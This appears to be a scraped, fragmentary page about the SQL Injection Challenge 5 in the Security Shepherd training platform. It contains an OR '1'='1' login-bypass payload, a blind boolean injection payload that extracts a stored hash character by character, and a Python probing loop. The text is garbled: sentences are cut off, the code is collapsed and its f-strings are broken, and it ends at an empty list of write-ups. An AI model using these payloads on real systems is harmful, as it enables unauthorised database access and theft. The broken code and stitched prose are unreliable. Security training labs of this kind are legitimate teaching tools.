Sql Injection Challenge 5 Security Shepherd <DELUXE · 2026>

SELECT * FROM users WHERE username = '' OR '1'='1';

is a flagship platform for learning web application security. Among its various modules, the SQL Injection challenges are pivotal in teaching students how to identify, exploit, and remediate database vulnerabilities. Sql Injection Challenge 5 Security Shepherd

for length in range(1, 100): payload = f"(SELECT LENGTH(column_name) FROM table_name WHERE row_condition) = length" if test_payload(payload): print(f"[+] Key length: length") key_length = length break SELECT * FROM users WHERE username = ''

5' AND (ASCII(SUBSTRING((SELECT hash FROM keys WHERE id=1), [position], 1)) ) > [ascii_value] AND '1'='1 1)) ) &gt

If "Valid" appears, the table keys exists.

Now that we know there are 3 columns, we attempt to union select data into them to see which columns are displayed on the screen.

Example known write-ups: